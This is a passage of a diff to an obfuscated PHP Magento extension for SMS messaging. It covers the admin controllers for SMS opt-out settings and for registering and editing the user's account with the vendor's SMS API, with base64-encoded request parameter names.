$i69a1201e93806d55c970dfb18feec53d221ba37b->setWebsiteIds($if71cbed623a99cd5a1032d4d3388bfd486053db2); $i69a1201e93806d55c970dfb18feec53d221ba37b->setCreatedAt(strtotime('now')); $i69a1201e93806d55c970dfb18feec53d221ba37b->setDescription($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); $i69a1201e93806d55c970dfb18feec53d221ba37b->setShortDescription($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); $i2bd9743336318d0e14be0600c9129730279505dd = array_values($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name')); $i69a1201e93806d55c970dfb18feec53d221ba37b->setName($i2bd9743336318d0e14be0600c9129730279505dd[0]); $i69a1201e93806d55c970dfb18feec53d221ba37b->setPrice(0); $ia021b43e6045d8140052e6c3c684787a27e4bbe5 = Mage::getBaseDir('media'); if (file_exists($ia021b43e6045d8140052e6c3c684787a27e4bbe5.'/magesms/sms.png')) { $i1babd2991da6b9dfe1f546b773f6f35cec746fff = array ('thumbnail', 'small_image', 'image'); $i69a1201e93806d55c970dfb18feec53d221ba37b->addImageToMediaGallery($ia021b43e6045d8140052e6c3c684787a27e4bbe5.'/magesms/sms.png', $i1babd2991da6b9dfe1f546b773f6f35cec746fff, false, false); } $i69a1201e93806d55c970dfb18feec53d221ba37b->save(); Mage::getModel('catalogrule/rule')->applyAllRulesToProduct($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()); foreach(Mage::app()->getStores(false) as $i7079b107a03c03d74ad14b853dad74b85b2d25d1) { Mage::getModel('catalog/product_status')->updateProductStatus($i69a1201e93806d55c970dfb18feec53d221ba37b->getId(), $i7079b107a03c03d74ad14b853dad74b85b2d25d1->getId(), Mage_Catalog_Model_Product_Status::STATUS_DISABLED); } } else { } $i8171218dd25ff7f2de2e1c0d8733bda70b607d79 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('website', 0); $i712821c3a64ae4a252ded9f3deaaddb6e942d985 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('status', 0) ? Mage_Catalog_Model_Product_Status::STATUS_ENABLED : Mage_Catalog_Model_Product_Status::STATUS_DISABLED; $ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('name', array()); $ib8129b89cda7dae2cfe1b114353de8ba2385974e = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('auto', 1); foreach(Mage::app()->getWebsite($i8171218dd25ff7f2de2e1c0d8733bda70b607d79)->getStoreIds() as $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66) { Mage::getModel('catalog/product_status')->updateProductStatus($i69a1201e93806d55c970dfb18feec53d221ba37b->getId(), $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66, $i712821c3a64ae4a252ded9f3deaaddb6e942d985); $i69a1201e93806d55c970dfb18feec53d221ba37b->load($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()); $i69a1201e93806d55c970dfb18feec53d221ba37b->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $i69a1201e93806d55c970dfb18feec53d221ba37b->setPrice($iacbd1c78463510856e506611fe14b5e1173581a6->getPost('price')); if (isset($ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c[$i3bf172bc34c83f4a18624b192bc0bd7c4d647a66])) $i69a1201e93806d55c970dfb18feec53d221ba37b->setName($ie7d1f3c0ab09749c63a4d4213221b59ce80ea45c[$i3bf172bc34c83f4a18624b192bc0bd7c4d647a66]); $i69a1201e93806d55c970dfb18feec53d221ba37b->save(); Mage::getSingleton('catalog/product_action')->updateAttributes(array($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()), array('magesms_optout' => 1), 0); Mage::getSingleton('catalog/product_action')->updateAttributes(array($i69a1201e93806d55c970dfb18feec53d221ba37b->getId()), array('magesms_optout' => $ib8129b89cda7dae2cfe1b114353de8ba2385974e), $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); } Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('magesms')->__('Setting of the SMS opt-out feature was successfully changed')); } $this->_redirect('*/*/index', array('_fragment' => $i8171218dd25ff7f2de2e1c0d8733bda70b607d79)); } public function saveOptoutMarketingAction() { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); Mage::getModel('core/config')->saveConfig('magesms/optout/marketing', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('status')); Mage::getConfig()->reinit(); $this->_redirect('*/*/index'); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/purchasecredit') ->_title(Mage::helper('magesms')->__('SMS opt-out')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/optout'); } }
app/code/community/Topefekt/Magesms/controllers/Adminhtml/Magesms/ProfileController.php CHANGED
@@ -10,7 +10,7 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
- class Topefekt_Magesms_Adminhtml_Magesms_ProfileController extends Topefekt_Magesms_Controller_Action { public function preDispatch() { return Mage_Adminhtml_Controller_Action::preDispatch(); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/profile.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); if ($this->profile->user->user) Mage::getModel('magesms/observer')->cronUpdate(); if (Mage::app()->loadCache('magesms_update_available')) { Mage::getSingleton('adminhtml/session')->addNotice($this->__('New version available for download:').' '.Mage::app()->loadCache('magesms_update_available')); } return $this; } public function loginAction() { $i065df39c07d6c930a4781ba0b0f312703847fa81 = Mage::app()->getRequest()->getParam('username'); $i54d1b2514929b4ead571e37199167cb71517da24 = Mage::app()->getRequest()->getParam('password'); $i451f679eaafeecb81387b150019f0d9e0fa83d16 = Mage::getModel('magesms/api'); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = $i451f679eaafeecb81387b150019f0d9e0fa83d16->serverPost('action=login&username='.urlencode($i065df39c07d6c930a4781ba0b0f312703847fa81).'&password='.urlencode($i54d1b2514929b4ead571e37199167cb71517da24)); if ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] != 1) { Mage::getSingleton('adminhtml/session')->addError($this->__($ia61712c27ea241bd7a543dc2b02ea572274d0322['error'])); } else { $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538d5406ca9a19e1687923f28236de86b1936c5757 = Mage::getModel('magesms/smsuser')->addData( array( 'user' => $i065df39c07d6c930a4781ba0b0f312703847fa81, 'passwd' => $i54d1b2514929b4ead571e37199167cb71517da24, 'email' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][0], 'companyname' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][1], 'regtype' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][1] ? 'firm' : 'person', 'addressstreet' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][2], 'addresscity' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][3], 'addresszip' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][4], 'companyid' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][5], 'companyvat' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][6], 'country0' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][7], 'firstname' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][8], 'lastname' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][9] ) )->save(); Mage::getSingleton('adminhtml/session')->addSuccess($this->__($ia61712c27ea241bd7a543dc2b02ea572274d0322['error'])); } $this->_redirect('*/*/'); } public function validateAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $this->profile->user->setData('email', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('email', '')); $this->profile->user->setData('addressstreet', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('addressstreet', '')); $this->profile->user->setData('addresszip', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('addresszip', '')); $this->profile->user->setData('addresscity', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('addresscity', '')); $this->profile->user->setData('country0', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('country0', '')); $this->profile->user->setData('regtype', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('regtype', '')); $this->profile->user->setData('firstname', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('firstname', '')); $this->profile->user->setData('lastname', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('lastname', '')); if ($this->profile->user->getRegtype() == 'firm') { $this->profile->user->setData('companyname', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('companyname', '')); $this->profile->user->setData('companyid', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('companyid', '')); $this->profile->user->setData('companyvat', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('companyvat', '')); } else { $this->profile->user->setData('companyname', ''); $this->profile->user->setData('companyid', ''); $this->profile->user->setData('companyvat', ''); } $this->profile->user->setData('agree', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('agree', 0)); $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->profile->user->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } if ($this->profile->user->user) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = base64_decode("YWN0aW9uPWVkaXQmdXNlcm5hbWU9").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd); } else { $ie955ee51cd0c7df255b696081bc48b422055d462 = Mage::getConfig()->getNode('default/config/referer'); if ($ie955ee51cd0c7df255b696081bc48b422055d462) { $ie955ee51cd0c7df255b696081bc48b422055d462 = $ie955ee51cd0c7df255b696081bc48b422055d462->id; } else { $ie955ee51cd0c7df255b696081bc48b422055d462 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('refererid', ''); } $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=register&refererid='.urlencode($ie955ee51cd0c7df255b696081bc48b422055d462).'&'; } $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= base64_decode("JmVtYWlsPQ==").urlencode($this->profile->user->email). base64_decode("JmptZW5vPQ==").urlencode($this->profile->user->companyname). base64_decode("Jmtvc29iYT0=").urlencode($this->profile->user->firstname). base64_decode("JmtwcmlqbWVuaT0=").urlencode($this->profile->user->lastname). "&adresa_ulice=".urlencode($this->profile->user->addressstreet). "&adresa_mesto=".urlencode($this->profile->user->addresscity). "&adresa_PSC=".urlencode($this->profile->user->addresszip). "&country0=".urlencode($this->profile->user->country0). base64_decode("JklDTz0=").urlencode($this->profile->user->companyid). base64_decode("JkRJQz0=").urlencode($this->profile->user->companyvat); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 1 || empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { $ibdd27a8dd714410289189d318feb96fe6ed8e07f[] = Mage::helper('magesms')->__($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error']); } else { $ibdd27a8dd714410289189d318feb96fe6ed8e07f = array(Mage::helper('magesms')->__($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error'])); } } elseif (!$this->profile->user->user && $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1) { $this->profile->user->setUser($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][0]); $this->profile->user->setPasswd($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'][1]); } if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $i5bf407a3ecf35ff195a9c7e8f546cfc606253fad = $this->profile->user->getId(); $this->profile->user->save(); if ($i5bf407a3ecf35ff195a9c7e8f546cfc606253fad) Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was changed.')); else { Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was created.')); $ie2d3c964f264968835c26fc02ee0d5f0820fe0ce = Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/delivery'; $ia61712c27ea241bd7a543dc2b02ea572274d0322 = base64_decode("YWN0aW9uPWVkaXQyJnVzZXJuYW1lPQ==").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd). "&shop_domain=".urlencode($ie2d3c964f264968835c26fc02ee0d5f0820fe0ce); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 99 || !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 || $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 5) $this->profile->user->setData('URLreports', 1)->save(); } } } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function saveAction() { $this->_redirect('*/*/'); } public function deleteadminAction() { if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id')) { try { $this->profile->admins->load($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538)->delete(); Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Admin was deleted.')); $this->_redirect('*/*/'); return; } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($this->__($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage())); $this->_redirect('*/*/'); return; } } Mage::getSingleton('adminhtml/session')->addError($this->__('Unable to find a Admin to delete.')); $this->_redirect('*/*/'); } public function saveadminAction() { $this->_redirect('*/*/'); } public function validateadminAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $this->profile->admins->setData(Mage::app()->getRequest()->getPost()); $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 = $this->getRequest()->getParam('id'); if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538 > 0) { $this->profile->admins->setId($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538); } $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->profile->admins->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $this->profile->admins->save(); if ($i7d411c0cc32cdb65ec82b9e8d79aa996946f5538) Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Admin was changed.')); else Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Admin was created.')); } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function validatesettingsAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $this->profile->user->setData('simulatesms', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('simulatesms', 0)); $this->profile->user->setData('deletedb', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('deletedb', 0)); $this->profile->user->setData('URLreports', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('URLreports', 0)); $this->profile->user->setData('pocetkredit', (int)$iacbd1c78463510856e506611fe14b5e1173581a6->getPost('pocetkredit', 0)); $this->profile->user->setData('deliveryemail', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('deliveryemail', '')); $this->profile->user->setData('prefbilling', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('prefbilling', 0)); $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->profile->user->validate(); $ie2d3c964f264968835c26fc02ee0d5f0820fe0ce = ''; if ($this->profile->user->getData('URLreports')) { $ie2d3c964f264968835c26fc02ee0d5f0820fe0ce = Mage::app()->getDefaultStoreView()->getBaseUrl().'magesms/delivery'; } $ia61712c27ea241bd7a543dc2b02ea572274d0322 = base64_decode("YWN0aW9uPWVkaXQyJnVzZXJuYW1lPQ==").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd). "&shop_domain=".urlencode($ie2d3c964f264968835c26fc02ee0d5f0820fe0ce). base64_decode("JnBvY2V0a3JlZGl0PQ==").urlencode($this->profile->user->pocetkredit). base64_decode("JmVtYWlsPQ==").urlencode($this->profile->user->deliveryemail); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 99 || !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 || $i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 5) { Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was changed.')); } elseif ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 11) { Mage::getSingleton('adminhtml/session')->addSuccess($this->__('Account was changed, but module URL for DR does not answer.')); $this->profile->user->setData('URLreports', 0); } elseif ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 3) { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('error'); } elseif ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 4) { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('you can change account after ').$i55dd4e7042a1f9031b84f07f04c37165ce3d0720['error'].Mage::helper('magesms')->__(' seconds'); } } else { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('error'); } if (!empty($if3b1e2c1706de4c1bca112c669caba3a0420b880) && is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { $ibdd27a8dd714410289189d318feb96fe6ed8e07f[] = $if3b1e2c1706de4c1bca112c669caba3a0420b880; } elseif (!empty($if3b1e2c1706de4c1bca112c669caba3a0420b880)) { $ibdd27a8dd714410289189d318feb96fe6ed8e07f = array($if3b1e2c1706de4c1bca112c669caba3a0420b880); } if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && sizeof($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } else { $this->profile->user->save(); } } catch (Exception $i8c174347956f0a76258a09557543e84f88beb4a0) { Mage::getSingleton('adminhtml/session')->addError($i8c174347956f0a76258a09557543e84f88beb4a0->getMessage()); $this->_initLayoutMessages('adminhtml/session'); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setMessage($this->getLayout()->getMessagesBlock()->getGroupedHtml()); } } $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function savesettingsAction() { $this->_redirect('*/*/'); } public function vatvalidateAction() { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = ''; if ($this->getRequest()->getParams()) { $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2 = $this->getRequest(); if ($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('country') && $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('companyvat')) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=checkVAT&country0='.urlencode($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('country')).'&DIC='.urlencode($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('companyvat')); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] == 1 && !empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { $i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4 = 'true'; } } } $this->getResponse()->clearHeaders()->setHeader('Content-Type', 'text/html')->setBody($i4d3f3bffcd16d5910b26a4511d33ad3b5e4c61d4); } protected function _initAction() { parent::_initAction(); $this->_setActiveMenu('magesms/profile') ->_title(Mage::helper('magesms')->__('Edit user account')); ; return $this; } protected function _isAllowed() { return Mage::getSingleton('admin/session')->isAllowed('magesms/settings/smsprofile'); } }
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
+ class Topefekt_Magesms_Adminhtml_Magesms_ProfileController extends Topefekt_Magesms_Controller_Action { public function preDispatch() { return Mage_Adminhtml_Controller_Action::preDispatch(); } public function indexAction() { $this->_initAction(); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock( 'Topefekt_Magesms_Block_Template', 'my_block_name_here', array('template' => 'topefekt/magesms/profile.phtml') ); $this->getLayout()->getBlock('content')->append($i8ee45e0018a32fb1a855b82624506e35789cc4d2); $this->renderLayout(); if ($this->profile->user->user) Mage::getModel('magesms/observer')->cronUpdate(); if (Mage::app()->loadCache('magesms_update_available')) { Mage::getSingleton('adminhtml/session')->addNotice($this->__('New version available for download:').' '.Mage::app()->loadCache('magesms_update_available')); } return $this; } public function loginAction() { $i065df39c07d6c930a4781ba0b0f312703847fa81 = Mage::app()->getRequest()->getParam('username'); $i54d1b2514929b4ead571e37199167cb71517da24 = Mage::app()->getRequest()->getParam('password'); $i451f679eaafeecb81387b150019f0d9e0fa83d16 = Mage::getModel('magesms/api'); $ia61712c27ea241bd7a543dc2b02ea572274d0322 = $i451f679eaafeecb81387b150019f0d9e0fa83d16->serverPost('action=login&username='.urlencode($i065df39c07d6c930a4781ba0b0f312703847fa81).'&password='.urlencode($i54d1b2514929b4ead571e37199167cb71517da24)); if ($ia61712c27ea241bd7a543dc2b02ea572274d0322['errno'] != 1) { Mage::getSingleton('adminhtml/session')->addError($this->__($ia61712c27ea241bd7a543dc2b02ea572274d0322['error'])); } else { $i7d411c0cc32cdb65ec82b9e8d79aa996946f5538d5406ca9a19e1687923f28236de86b1936c5757 = Mage::getModel('magesms/smsuser')->addData( array( 'user' => $i065df39c07d6c930a4781ba0b0f312703847fa81, 'passwd' => $i54d1b2514929b4ead571e37199167cb71517da24, 'email' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][0], 'companyname' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][1], 'regtype' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][1] ? 'firm' : 'person', 'addressstreet' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][2], 'addresscity' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][3], 'addresszip' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][4], 'companyid' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][5], 'companyvat' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][6], 'country0' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][7], 'firstname' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][8], 'lastname' => $ia61712c27ea241bd7a543dc2b02ea572274d0322['data'][9] ) )->save(); Mage::getSingleton('adminhtml/session')->addSuccess($this->__($ia61712c27ea241bd7a543dc2b02ea572274d0322['error'])); } $this->_redirect('*/*/'); } public function validateAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); if ( $this->getRequest()->getPost() ) { try { $iacbd1c78463510856e506611fe14b5e1173581a6 = Mage::app()->getRequest(); $this->profile->user->setData('email', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('email', '')); $this->profile->user->setData('addressstreet', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('addressstreet', '')); $this->profile->user->setData('addresszip', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('addresszip', '')); $this->profile->user->setData('addresscity', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('addresscity', '')); $this->profile->user->setData('country0', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('country0', '')); $this->profile->user->setData('regtype', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('regtype', '')); $this->profile->user->setData('firstname', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('firstname', '')); $this->profile->user->setData('lastname', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('lastname', '')); if ($this->profile->user->getRegtype() == 'firm') { $this->profile->user->setData('companyname', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('companyname', '')); $this->profile->user->setData('companyid', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('companyid', '')); $this->profile->user->setData('companyvat', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('companyvat', '')); } else { $this->profile->user->setData('companyname', ''); $this->profile->user->setData('companyid', ''); $this->profile->user->setData('companyvat', ''); } $this->profile->user->setData('agree', $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('agree', 0)); $ibdd27a8dd714410289189d318feb96fe6ed8e07f = $this->profile->user->validate(); if (is_array($ibdd27a8dd714410289189d318feb96fe6ed8e07f) && count($ibdd27a8dd714410289189d318feb96fe6ed8e07f)) { Mage::throwException(implode('<br />', $ibdd27a8dd714410289189d318feb96fe6ed8e07f)); } if ($this->profile->user->user) { $ia61712c27ea241bd7a543dc2b02ea572274d0322 = base64_decode("YWN0aW9uPWVkaXQmdXNlcm5hbWU9").urlencode($this->profile->user->user). base64_decode("JnBhc3N3b3JkPQ==").urlencode($this->profile->user->passwd); } else { $ie955ee51cd0c7df255b696081bc48b422055d462 = Mage::getConfig()->getNode('default/config/referer'); if ($ie955ee51cd0c7df255b696081bc48b422055d462) { $ie955ee51cd0c7df255b696081bc48b422055d462 = $ie955ee51cd0c7df255b696081bc48b422055d462->id; } else { $ie955ee51cd0c7df255b696081bc48b422055d462 = $iacbd1c78463510856e506611fe14b5e1173581a6->getPost('refererid', ''); } $ia61712c27ea241bd7a543dc2b02ea572274d0322 = 'action=register&refererid='.urlencode($ie955ee51cd0c7df255b696081bc48b422055d462).'&'; } $ia61712c27ea241bd7a543dc2b02ea572274d0322 .= base64_decode("JmVtYWlsPQ==").urlencode($this->profile->user->email). base64_decode("JmptZW5vPQ==").urlencode($this->profile->user->companyname). base64_decode("Jmtvc29iYT0=").urlencode($this->profile->user->firstname). base64_decode("JmtwcmlqbWVuaT0=").urlencode($this->profile->user->lastname). "&adresa_ulice=".urlencode($this->profile->user->addressstreet). "&adresa_mesto=".urlencode($this->profile->user->addresscity). "&adresa_PSC=".urlencode($this->profile->user->addresszip). "&country0=".urlencode($this->profile->user->country0). base64_decode("JklDTz0=").urlencode($this->profile->user->companyid). base64_decode("JkRJQz0=").urlencode($this->profile->user->companyvat); $i55dd4e7042a1f9031b84f07f04c37165ce3d0720 = Mage::getSingleton('magesms/api')->serverPost($ia61712c27ea241bd7a543dc2b02ea572274d0322); if ($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['errno'] != 1 || empty($i55dd4e7042a1f9031b84f07f04c37165ce3d0720['data'])) { if 